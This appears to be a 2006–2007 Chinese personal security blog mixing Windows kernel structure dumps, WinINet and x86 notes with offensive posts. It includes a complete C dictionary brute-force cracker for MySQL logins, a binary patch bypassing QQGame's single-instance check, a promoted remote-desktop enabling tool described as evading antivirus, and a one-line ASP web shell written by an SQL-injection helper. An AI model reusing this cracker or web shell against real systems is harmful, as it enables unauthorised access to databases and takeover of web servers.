2007年03月01日

Windows Server 2003 Kernel Version 3790 (Service Pack 1) UP Free x86 compatible
Product: Server, suite: Enterprise TerminalServer SingleUserTS
Built by: 3790.srv03_sp1_rtm.050324-1447

struct _ETHREAD
   +0×000 Tcb              : _KTHREAD
   +0×1b8 CreateTime       : _LARGE_INTEGER
   +0×1c0 ExitTime         : _LARGE_INTEGER
   +0×1c0 LpcReplyChain    : _LIST_ENTRY
   +0×1c0 KeyedWaitChain   : _LIST_ENTRY
   +0×1c8 ExitStatus       : Int4B
   +0×1c8 OfsChain         : Ptr32 Void
   +0×1cc PostBlockList    : _LIST_ENTRY
   +0×1d4 TerminationPort  : Ptr32 _TERMINATION_PORT
   +0×1d4 ReaperLink       : Ptr32 _ETHREAD
   +0×1d4 KeyedWaitValue   : Ptr32 Void
   +0×1d8 ActiveTimerListLock : Uint4B
   +0×1dc ActiveTimerListHead : _LIST_ENTRY
   +0×1e4 Cid              : _CLIENT_ID
   +0×1ec LpcReplySemaphore : _KSEMAPHORE
   +0×1ec KeyedWaitSemaphore : _KSEMAPHORE
   +0×200 LpcReplyMessage  : Ptr32 Void
   +0×200 LpcWaitingOnPort : Ptr32 Void
   +0×204 ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION
   +0×208 IrpList          : _LIST_ENTRY
   +0×210 TopLevelIrp      : Uint4B
   +0×214 DeviceToVerify   : Ptr32 _DEVICE_OBJECT
   +0×218 ThreadsProcess   : Ptr32 _EPROCESS
   +0×21c StartAddress     : Ptr32 Void
   +0×220 Win32StartAddress : Ptr32 Void
   +0×220 LpcReceivedMessageId : Uint4B
   +0×224 ThreadListEntry  : _LIST_ENTRY
   +0×22c RundownProtect   : _EX_RUNDOWN_REF
   +0×230 ThreadLock       : _EX_PUSH_LOCK
   +0×234 LpcReplyMessageId : Uint4B
   +0×238 ReadClusterSize  : Uint4B
   +0×23c GrantedAccess    : Uint4B
   +0×240 CrossThreadFlags : Uint4B
   +0×240 Terminated       : Pos 0, 1 Bit
   +0×240 DeadThread       : Pos 1, 1 Bit
   +0×240 HideFromDebugger : Pos 2, 1 Bit
   +0×240 ActiveImpersonationInfo : Pos 3, 1 Bit
   +0×240 SystemThread     : Pos 4, 1 Bit
   +0×240 HardErrorsAreDisabled : Pos 5, 1 Bit
   +0×240 BreakOnTermination : Pos 6, 1 Bit
   +0×240 SkipCreationMsg  : Pos 7, 1 Bit
   +0×240 SkipTerminationMsg : Pos 8, 1 Bit
   +0×244 SameThreadPassiveFlags : Uint4B
   +0×244 ActiveExWorker   : Pos 0, 1 Bit
   +0×244 ExWorkerCanWaitUser : Pos 1, 1 Bit
   +0×244 MemoryMaker      : Pos 2, 1 Bit
   +0×244 KeyedEventInUse  : Pos 3, 1 Bit
   +0×248 SameThreadApcFlags : Uint4B
   +0×248 LpcReceivedMsgIdValid : Pos 0, 1 Bit
   +0×248 LpcExitThreadCalled : Pos 1, 1 Bit
   +0×248 AddressSpaceOwner : Pos 2, 1 Bit
   +0×248 OwnsProcessWorkingSetExclusive : Pos 3, 1 Bit
   +0×248 OwnsProcessWorkingSetShared : Pos 4, 1 Bit
   +0×248 OwnsSystemWorkingSetExclusive : Pos 5, 1 Bit
   +0×248 OwnsSystemWorkingSetShared : Pos 6, 1 Bit
   +0×248 OwnsSessionWorkingSetExclusive : Pos 7, 1 Bit
   +0×249 OwnsSessionWorkingSetShared : Pos 0, 1 Bit
   +0×249 ApcNeeded        : Pos 1, 1 Bit
   +0×24c ForwardClusterOnly : UChar
   +0×24d DisablePageFaultClustering : UChar
   +0×24e ActiveFaultCount : UChar
struct _EPROCESS
   +0×000 Pcb              : _KPROCESS
   +0×078 ProcessLock      : _EX_PUSH_LOCK
   +0×080 CreateTime       : _LARGE_INTEGER
   +0×088 ExitTime         : _LARGE_INTEGER
   +0×090 RundownProtect   : _EX_RUNDOWN_REF
   +0×094 UniqueProcessId  : Ptr32 Void
   +0×098 ActiveProcessLinks : _LIST_ENTRY
   +0×0a0 QuotaUsage       : [3] Uint4B
   +0×0ac QuotaPeak        : [3] Uint4B
   +0×0b8 CommitCharge     : Uint4B
   +0×0bc PeakVirtualSize  : Uint4B
   +0×0c0 VirtualSize      : Uint4B
   +0×0c4 SessionProcessLinks : _LIST_ENTRY
   +0×0cc DebugPort        : Ptr32 Void
   +0×0d0 ExceptionPort    : Ptr32 Void
   +0×0d4 ObjectTable      : Ptr32 _HANDLE_TAB
   +0×0d8 Token            : _EX_FAST_REF
   +0×0dc WorkingSetPage   : Uint4B
   +0×0e0 AddressCreationLock : _KGUARDED_MUTE
   +0×100 HyperSpaceLock   : Uint4B
   +0×104 ForkInProgress   : Ptr32 _ETHREAD
   +0×108 HardwareTrigger  : Uint4B
   +0×10c PhysicalVadRoot  : Ptr32 _MM_AVL_TAB
   +0×110 CloneRoot        : Ptr32 Void
   +0×114 NumberOfPrivatePages : Uint4B
   +0×118 NumberOfLockedPages : Uint4B
   +0×11c Win32Process     : Ptr32 Void
   +0×120 Job              : Ptr32 _EJOB
   +0×124 SectionObject    : Ptr32 Void
   +0×128 SectionBaseAddress : Ptr32 Void
   +0×12c QuotaBlock       : Ptr32 _EPROCESS_Q
   +0×130 WorkingSetWatch  : Ptr32 _PAGEFAULT_
   +0×134 Win32WindowStation : Ptr32 Void
   +0×138 InheritedFromUniqueProcessId : Ptr32
   +0×13c LdtInformation   : Ptr32 Void
   +0×140 VadFreeHint      : Ptr32 Void
   +0×144 VdmObjects       : Ptr32 Void
   +0×148 DeviceMap        : Ptr32 Void
   +0×14c Spare0           : [3] Ptr32 Void
   +0×158 PageDirectoryPte : _HARDWARE_PTE
   +0×158 Filler           : Uint8B
   +0×160 Session          : Ptr32 Void
   +0×164 ImageFileName    : [16] UChar
   +0×174 JobLinks         : _LIST_ENTRY
   +0×17c LockedPagesList  : Ptr32 Void
   +0×180 ThreadListHead   : _LIST_ENTRY
   +0×188 SecurityPort     : Ptr32 Void
   +0×18c PaeTop           : Ptr32 Void
   +0×190 ActiveThreads    : Uint4B
   +0×194 GrantedAccess    : Uint4B
   +0×198 DefaultHardErrorProcessing : Uint4B
   +0×19c LastThreadExitStatus : Int4B
   +0×1a0 Peb              : Ptr32 _PEB
   +0×1a4 PrefetchTrace    : _EX_FAST_REF
   +0×1a8 ReadOperationCount : _LARGE_INTEGER
   +0×1b0 WriteOperationCount : _LARGE_INTEGER
   +0×1b8 OtherOperationCount : _LARGE_INTEGER
   +0×1c0 ReadTransferCount : _LARGE_INTEGER
   +0×1c8 WriteTransferCount : _LARGE_INTEGER
   +0×1d0 OtherTransferCount : _LARGE_INTEGER
   +0×1d8 CommitChargeLimit : Uint4B
   +0×1dc CommitChargePeak : Uint4B
   +0×1e0 AweInfo          : Ptr32 Void
   +0×1e4 SeAuditProcessCreationInfo : _SE_AUD
   +0×1e8 Vm               : _MMSUPPORT
   +0×230 MmProcessLinks   : _LIST_ENTRY
   +0×238 ModifiedPageCount : Uint4B
   +0×23c JobStatus        : Uint4B
   +0×240 Flags            : Uint4B
   +0×240 CreateReported   : Pos 0, 1 Bit
   +0×240 NoDebugInherit   : Pos 1, 1 Bit
   +0×240 ProcessExiting   : Pos 2, 1 Bit
   +0×240 ProcessDelete    : Pos 3, 1 Bit
   +0×240 Wow64SplitPages  : Pos 4, 1 Bit
   +0×240 VmDeleted        : Pos 5, 1 Bit
   +0×240 OutswapEnabled   : Pos 6, 1 Bit
   +0×240 Outswapped       : Pos 7, 1 Bit
   +0×240 ForkFailed       : Pos 8, 1 Bit
   +0×240 Wow64VaSpace4Gb  : Pos 9, 1 Bit
   +0×240 AddressSpaceInitialized : Pos 10, 2
   +0×240 SetTimerResolution : Pos 12, 1 Bit
   +0×240 BreakOnTermination : Pos 13, 1 Bit
   +0×240 SessionCreationUnderway : Pos 14, 1
   +0×240 WriteWatch       : Pos 15, 1 Bit
   +0×240 ProcessInSession : Pos 16, 1 Bit
   +0×240 OverrideAddressSpace : Pos 17, 1 Bit
   +0×240 HasAddressSpace  : Pos 18, 1 Bit
   +0×240 LaunchPrefetched : Pos 19, 1 Bit
   +0×240 InjectInpageErrors : Pos 20, 1 Bit
   +0×240 VmTopDown        : Pos 21, 1 Bit
   +0×240 ImageNotifyDone  : Pos 22, 1 Bit
   +0×240 PdeUpdateNeeded  : Pos 23, 1 Bit
   +0×240 VdmAllowed       : Pos 24, 1 Bit
   +0×240 SmapAllowed      : Pos 25, 1 Bit
   +0×240 CreateFailed     : Pos 26, 1 Bit
   +0×240 DefaultIoPriority : Pos 27, 3 Bits
   +0×240 Spare1           : Pos 30, 1 Bit
   +0×240 Spare2           : Pos 31, 1 Bit
   +0×244 ExitStatus       : Int4B
   +0×248 NextPageColor    : Uint2B
   +0×24a SubSystemMinorVersion : UChar
   +0×24b SubSystemMajorVersion : UChar
   +0×24a SubSystemVersion : Uint2B
   +0×24c PriorityClass    : UChar
   +0×250 VadRoot          : _MM_AVL_TABLE
   +0×270 Cookie           : Uint4B

2007年02月09日

其实也不难,但是由于缺少可以操作的例子,文档也不多。弄了4天多才搞定。现在把一些经验说下。

1. 使用异步的 wininet 函数,因为微软提供的 InternetReadFile 函数是阻塞的。用同步的 Wininet 函数写出的多线程和不用多线程写出来的速度差距不大。

2. InternetSetFilePointe 函数在异步操作中不起作用。应该使用 Range 域

3. 使用回调函数判断异步wininet 函数执行状况。

4. 如果出现997的错误是正常的,应该等待操作完成。具体的可以看看微软的解释。

5. 回调函数很重要,要充分利用 dwContent 这个字段可以传个结构进去。 :)

完成后1M/S 的速度,爽。哈哈,不比快车、迅雷差。

2007年01月16日

[信息来源]邪恶八进制信息安全团队
[文章作者]zhouzhen[E.S.T]

我很少写逆向方面的文章。今天也科普一把。很简单的。

目标:QQ 2006 正式版中捆绑的QQ game ,使它能开多个。

一边斗地主,一边双扣, 不亦乐乎。

OD 载入。跟了一段,发现目标代码在 Utility.dll 里

011B1C2A |. FF75 08     PUSH DWORD PTR SS:[EBP+8] ; /MutexName = "QQGame_Mutex03/01/2003"
011B1C2D |. 6A 01       PUSH 1                       ; |
011B1C2F |. 5F         POP EDI                         ; |
011B1C30 |. 57         PUSH EDI                       ; |InitialOwner => TRUE
011B1C31 |. 6A 00       PUSH 0                       ; |pSecurity = NULL
011B1C33 |. FF15 08401B01 CALL DWORD PTR DS:[<&KERNEL32.CreateMute>; CreateMutexA
011B1C39 |. 85C0       TEST EAX,EAX
011B1C3B |. 8946 44     MOV DWORD PTR DS:[ESI+44],EAX
011B1C3E |. 74 24       JE SHORT Utility.011B1C64
011B1C40 |. FF15 24401B01 CALL DWORD PTR DS:[<&KERNEL32.GetLastErr>; [GetLastError
011B1C46     3D B7000000   CMP EAX,0B7
011B1C4B |. 8BCE       MOV ECX,ESI
011B1C4D |. 75 07       JNZ SHORT Utility.011B1C56
011B1C4F |. E8 60000000   CALL Utility.011B1CB4 ;
                                                                  |
                                                                  |
                                                                  |
011B1CB4 /$ 53         PUSH EBX   ;|<-----------|
011B1CB5 |. 56         PUSH ESI
011B1CB6 |. 8BF1       MOV ESI,ECX
011B1CB8 |. 33DB       XOR EBX,EBX
011B1CBA |. 57         PUSH EDI
011B1CBB |. 53         PUSH EBX                       ; /Title => NULL
011B1CBC |. 8D86 50010000 LEA EAX,DWORD PTR DS:[ESI+150]       ; |
011B1CC2 |. 50         PUSH EAX                       ; |Class
011B1CC3 |. 53         PUSH EBX                       ; |hAfterWnd => NULL
011B1CC4 |. 53         PUSH EBX                       ; |hParent => NULL
011B1CC5 |. FF15 88401B01 CALL DWORD PTR DS:[<&USER32.FindWindowEx>; FindWindowExA
011B1CCB |. 8BF8       MOV EDI,EAX
011B1CCD |. 57         PUSH EDI                       ; /hWnd
011B1CCE |. FF15 A8401B01 CALL DWORD PTR DS:[<&USER32.IsWindow>]   ; IsWindow
011B1CD4 |. 85C0       TEST EAX,EAX
011B1CD6     74 0E       JE SHORT Utility.011B1CE6
011B1CD8 |. 53         PUSH EBX                       ; /lParam => 0
011B1CD9 |. 53         PUSH EBX                       ; |wParam => 0
011B1CDA |. FF76 48     PUSH DWORD PTR DS:[ESI+48]           ; |Message
011B1CDD |. 57         PUSH EDI                       ; |hWnd
011B1CDE |. FF15 AC401B01 CALL DWORD PTR DS:[<&USER32.PostMessageA>; PostMessageA
011B1CE4 |. EB 10       JMP SHORT Utility.011B1CF6
011B1CE6 |> 83C6 14     ADD ESI,14
011B1CE9 |. 68 48511B01   PUSH Utility.011B5148
011B1CEE |. 56         PUSH ESI
011B1CEF |. E8 580C0000   CALL Utility.011B294C
011B1CF4 |. 59         POP ECX
011B1CF5 |. 59         POP ECX
011B1CF6 |> 5F         POP EDI
011B1CF7 |. 5E         POP ESI
011B1CF8 |. 5B         POP EBX
011B1CF9 . C3         RETN

类c代码如下:

function 011B1CB4{
  HWND hQQGame = FindWindowEx(NULL, NULL, "QQGame_MainFrame", NULL);
  if (IsWindow(hQQGame))
  PostMessageA(hQQGame,1F86, 0, 0);
 
}

HANDLE hMutex = CreateMutexA(NULL, TRUE, "QQGame_Mutex03/01/2003");

if (hMutex == NULL)
{
jmp SHORT Utility.011B1C64
}
else
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
CALL Utility.011B1CB4
else jmp Utility.011B1C56
}

破解:011B1C46     3D B7000000   CMP EAX,0B7 把这里的0B7 随便改个值就可以了

2007年01月06日

#if defined(_WIN32) || defined(_WIN64)
#include <windows.h>
#include <Tchar.h>
#endif
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include "mysql.h"

#pragma comment(lib, "Ws2_32.lib")

typedef struct PassNode{
  TCHAR password[100];
  struct PassNode * Next;
} PassInfo;

typedef struct NameNode{
  TCHAR Name[100];
  struct NameNode * Next;
}NameInfo;

void usage(){

  printf("mysql password crack v 1.0\n");
  printf("\t [email]zhouzhen@gmail.com[/email] [url]http://zhouzhen.eviloctal.org[/url]\n\n");
  fprintf(stderr,"usage : mysql_pwd_crack [ip] [options]\n");
  printf("options:\n"
            "\t-u username specify the username of mysql\n"
            "\t-x port     specify the port of mysql\n"
            "\t-p password specify the password of mysql\n"
            "\t-d dict     specify the dictionary\n"
            "\t-a automode automatic crack the mysql password \n"
            "\tNote: when u use the -a option, named the username dict user.dic\n"
            "\t   password dict pass.dic\n"
      );
  printf("\nexample: mysql_pwd_crack 127.0.0.1 -x 3306 -u root -d passdict.txt\n");
  printf("\t mysql_pwd_crack 127.0.0.1 -x 3306 -p root -d userdict.txt\n");
  printf("\t mysql_pwd_crack 127.0.0.1 -x 3306 -a\n");    
  exit(1);

}

PassInfo * Create_Pass_link(int NodeNum, FILE * DictFile){

    /* read data from password dictionary, init the link */
    TCHAR * szTempPass = NULL;
    PassInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
                    *s point to the current node*/
    int i; /* counter*/

 
    if ( (h = (PassInfo *) malloc(sizeof(PassInfo))) == NULL )
    {
      fprintf(stderr, "malloc failed %d", GetLastError());
      exit(0);
    } /* create the head node */

    /* init the head node*/
    h->Next = NULL;
    p = h;

    for ( i=0; i < NodeNum; i ++)
    {
      szTempPass = (TCHAR *)calloc(100, sizeof(TCHAR));
      ZeroMemory(szTempPass, 100);

      if ( (s = (PassInfo *)malloc(sizeof(PassInfo))) == NULL)
      {
        fprintf(stderr, "malloc failed %d", GetLastError());
        exit(0);
      }
       
        memset(s->password, ‘\0′, 100);
        fgets(szTempPass, 100, DictFile);
        strncpy(s->password, szTempPass, strlen(szTempPass)-1);
        s->Next =NULL;
        p->Next = s;
        p = s;

      free(szTempPass);

    }
 
    return h;

}

NameInfo * Create_Name_link(int NodeNum, FILE * DictFile){

    /* read data from password dictionary, init the link */
    TCHAR * szTempName = NULL;
    NameInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
                    *s point to the current node*/
    int i; /* counter*/

 
    if ( (h = (NameInfo *) malloc(sizeof(NameInfo))) == NULL )
    {
      fprintf(stderr, "malloc failed %d", GetLastError());
      exit(0);
    } /* create the head node */

    /* init the head node*/
    h->Next = NULL;
    p = h;

    for ( i=0; i < NodeNum; i ++)
    {
      szTempName = (TCHAR *)calloc(100, sizeof(TCHAR));
      ZeroMemory(szTempName, 100);

      if ( (s = (NameInfo *)malloc(sizeof(NameInfo))) == NULL)
      {
        fprintf(stderr, "malloc failed %d", GetLastError());
        exit(0);
      }
       
        memset(s->Name, ‘\0′, 100);
        fgets(szTempName, 100, DictFile);
        strncpy(s->Name, szTempName, strlen(szTempName)-1);
        s->Next =NULL;
        p->Next = s;
        p = s;

      free(szTempName);

    }
 
    return h;

}

int LineCount(FILE * fd)
{
  int countline = 0;
  char data[100] = {0};

  while ( fgets(data, 100, fd) )
    countline++;

  rewind(fd);

  return countline;
 
}

BOOL IsPortOpen(char * address, int port)
{
  int recv = 1;
  WSADATA wsadata;
  int fd;
  struct sockaddr_in clientaddress;
  struct hostent * host1;
  BOOL Result = FALSE;
  struct timeval timer4;
  fd_set writefd;
  ULONG value = 1;

  recv = WSAStartup(MAKEWORD(1,1), &wsadata);

  if(recv != 0)
  {
    printf("init failed %d. ",WSAGetLastError());
    return(0);
  }

  if ( LOBYTE( wsadata.wVersion ) != 1 ||
    HIBYTE( wsadata.wVersion ) != 1 ) {
  /* Tell the user that we couldn’t find a useable */
  /* winsock.dll. */
    WSACleanup();
    return(0);
  }

  fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if(fd < 0)
  {
   
      printf("[-] Create socket error %d. \n",WSAGetLastError());
      return(0);
  }

  ioctlsocket(fd,FIONBIO,&value);

  if (!(host1 = gethostbyname(address))){
    printf("[-] Gethostbyname(%s) error %d.\n",address,WSAGetLastError());
    return(0);
  }

  memset(&clientaddress, 0, sizeof(struct sockaddr));
  clientaddress.sin_family =AF_INET;
  clientaddress.sin_port = htons((unsigned short)port);
  clientaddress.sin_addr = *((struct in_addr *)host1->h_addr);

  timer4.tv_sec = 5;
  timer4.tv_usec = 0;

  FD_ZERO(&writefd);
  FD_SET(fd, &writefd);

  recv = connect(fd, (struct sockaddr *)&clientaddress, sizeof(struct sockaddr));

  if( FD_ISSET(fd, &writefd))
  {
    recv = select(fd+1, NULL, &writefd, NULL, &timer4);

    if( recv > 0 ) Result = TRUE;
  }

  closesocket(fd);
  WSACleanup();

  return Result;

}

int main(int argc, char **argv)
{

MYSQL *sock,mysql;
PassInfo * head, * curr = NULL;
NameInfo * headnode, * currnode = NULL;
int namecount = 0, passcount = 0;

/////////////////////////////////////////////////////////////////////////////////////////////
// deal with the command line
//
/////////////////////////////////////////////////////////////////////////////////////////////
if( argc != 5)
    if(argc != 8)
      usage();

if (argc == 8)
{
    if ( strcmpi(argv[2], "-x") )
      usage();

    if ( strcmpi(argv[4], "-u") )
      if ( strcmpi(argv[4], "-p") )
        usage();

    if ( !strcmpi(argv[4], "-u") )
      if ( strcmpi(argv[6], "-d") )
        usage();

    if ( !strcmpi(argv[4], "-p") )
      if ( strcmpi(argv[6], "-d") )
        usage();
}

if (argc == 5)
{
    if ( strcmpi(argv[2], "-x") )
      usage();
    if ( strcmpi(argv[4], "-a") )
      usage();
}

/* determinate whether the mysql port is open */
if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
{
    printf("Can’t connect to %s:%d", argv[1], atoi(argv[3]));
    exit(0);
}

////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the username
//////////////////////////////////////////////////////////////////////////////////////////////

mysql_init(&mysql);   /* init the mysql */

if ( !strcmpi(argv[4], "-u"))
{
    /* open the password dictionary */

    FILE * passdic = NULL;
    if ( (passdic = fopen(argv[7], "r")) ==NULL){
      fprintf(stderr, "Can’t open the password dictionary\n");
      exit(0);
    }
   
    passcount = LineCount(passdic);

    head = Create_Pass_link(passcount, passdic); /* create the password link */

    curr = head ->Next;
    while(curr != NULL)
    {
      printf("Now cracking %s %s   \n", argv[5], curr->password);
      fflush(NULL);

      if ( sock = mysql_real_connect(&mysql, argv[1], argv[5], curr->password, "mysql", atoi(argv[3]), NULL, 0) )
        printf("\nSuccessfully –> username %s password %s \n", argv[5], curr->password);
      curr = curr->Next;
      Sleep(100);

    } /* starting crack the mysql password*/

    fclose(passdic);
    free(head);

}

///////////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the password
//////////////////////////////////////////////////////////////////////////////////////////////////

if ( !strcmpi(argv[4], "-p"))
{

    /* open the password dictionary */

    FILE * Namedict = NULL;
    if ( (Namedict = fopen(argv[7], "r")) ==NULL){
      fprintf(stderr, "Can’t open the name dictionary\n");
      exit(0);
    }
   
    /* count line of name dictionary */

    namecount = LineCount(Namedict);

    headnode = Create_Name_link(namecount, Namedict); /* create user link */

    currnode = headnode->Next;
    while (currnode != NULL)
    {
      printf("Now cracking %s %s   \n", currnode->Name, argv[5]);
      fflush(NULL);
     
      if ( sock = mysql_real_connect(&mysql, argv[1], currnode->Name, argv[5], "mysql", atoi(argv[3]), NULL, 0) )
        printf("\nSuccessfully –> username %s password %s \n", currnode->Name, argv[5]);
      currnode = currnode->Next;
      Sleep(100);

    }

    fclose(Namedict);
    free(currnode);

}

////////////////////////////////////////////////////////////////////////////////////////////////
// automatic mdoe
////////////////////////////////////////////////////////////////////////////////////////////////

if ( !strcmpi(argv[4], "-a"))
{
    FILE * usernamedict = NULL, *passwordict = NULL;
    int nameline = 0, passline = 0;
    NameInfo * namehead, * currname = NULL;
    PassInfo * passhead, * currpass = NULL;

    /* open the user.dic */
    if ( (usernamedict = fopen("user.dic", "r")) ==NULL){
      fprintf(stderr, "Can’t open the user.dic file.\n");
      exit(0);
    }

    /* open the pass.dic */
    if ( (passwordict = fopen("pass.dic", "r")) ==NULL){
      fprintf(stderr, "Can’t open the user.dic file.\n");
      exit(0);
    }

    /* count the line of the files */
    nameline = LineCount(usernamedict);
    passline = LineCount(passwordict);

    namehead = Create_Name_link(nameline, usernamedict);
    passhead = Create_Pass_link(passline, passwordict);

    /* starting crack mysql password*/
   
    currname = namehead->Next;
    currpass = passhead->Next;

    while (currname != NULL)
    {
      while(currpass != NULL)
      {
        printf("Now cracking %s %s   \n", currname->Name, currpass->password);
        fflush(NULL);

        if ( sock = mysql_real_connect(&mysql, argv[1], currname->Name, currpass->password, "mysql", atoi(argv[3]), NULL, 0) )
          printf("\nSuccessfully –> username %s password %s \n", currname->Name, currpass->password);
         
        currpass = currpass->Next;
        Sleep(100);
      }

      currpass = passhead->Next;
      currname = currname->Next;
    }

    fclose(usernamedict);
    fclose(passwordict);
    free(namehead);
    free(passhead);

}

mysql_close(sock);
return 0;

}

2007年01月04日

我写了个测试代码。。 希望管理员处理一下 :)

2006年12月30日

1. 漏洞地下化, 私有有化. 主要以0day 形式存在.

2. 系统服务漏洞曝光率小, ie  office 之类应用程序漏洞为主流.

3. web 程序安全问题突出.

4. 做学问的少了, 浮躁的年代

 

以上内容纯属虚构. 如果雷同存属巧合 :)

2006年12月26日

使用过程中发现原来的程序存在一些bug,这个版本进行了修正,将更加通用。

F:\my program\open3389\3389>3389.exe
      Open3389 v1.5 fixed version
     
zhouzhenster@gmail.com httP://forum.eviloctal.com
      usage: 3389.exe [options]

      options:
          1 try to reboot computer
          0 Do not reboot computer
            (Any value except 1 will not reboot compter)
    Example: 3389.exe 1

4.7 k ,应该是免杀吧 ^_^

下载地址:http://forum.eviloctal.com/read-htm-tid-26592.html

2006年11月16日

80386 增加了几个控制寄存器, CR0 CR1 CR2 CR3 CR4. 其中CR1为保存寄存器.

控制寄存器CR0中的位0用PE标记,位31用PG标记,这两个位控制分段和分页管理机制的操作,所以把它们称为保护控制位。PE控制分段管理机制。PE=0,处理器运行于实模式;PE=1,处理器运行于保护方式。PG控制分页管理机制。PG=0,禁用分页管理机制,此时分段管理机制产生的线性地址直接作为物理地址使用;PG=1,启用分页管理机制,此时线性地址经分页管理机制转换位物理地址。

PG和PE
位与处
理器工
作模式
PG PE 处理器工作方式
0 0 实模式
0 1 保护模式,禁用分页机制
1 0 非法组合
1 1 保护方式,启用分页机制

 

CR3 保存页目录的起始物理地址.

CR2用于发生页异常时报告出错信息。当发生页异常时,处理器把引起页异常的线性地址保存在CR2中。操作系统中的页异常处理程序可以检查CR2的内容,从而查出线性地址空间中的哪一页引起本次异常。
2006年11月06日

不动笔墨不读书,好记性不如烂笔头。 共勉

2006年10月28日

 [文章作者]zhouzhen[E.S.T]
[信息来源]邪恶八进制信息安全团队 (www.eviloctal.com)

随手的作品,不是什么新技术了。做为注入辅助工具之用。
没有写自动暴库,暴路径 和 自动猜测的代码。 以后可能会更新,主要是练习下编程。vc6 + sdk

关于工具的使用,注入地址要http://开头,值得注意的是物理路径是网站的物理路径,比如 E:\web 后面不要加 \,如果成功的话会备份成E:\web\zz.asp 写入的一句话木马
<%Execute(request("a"))%> 

http://zhouzhen.eviloctal.org/userfile/eviloctal.org/zhouzhen/edit/200668133720585.rar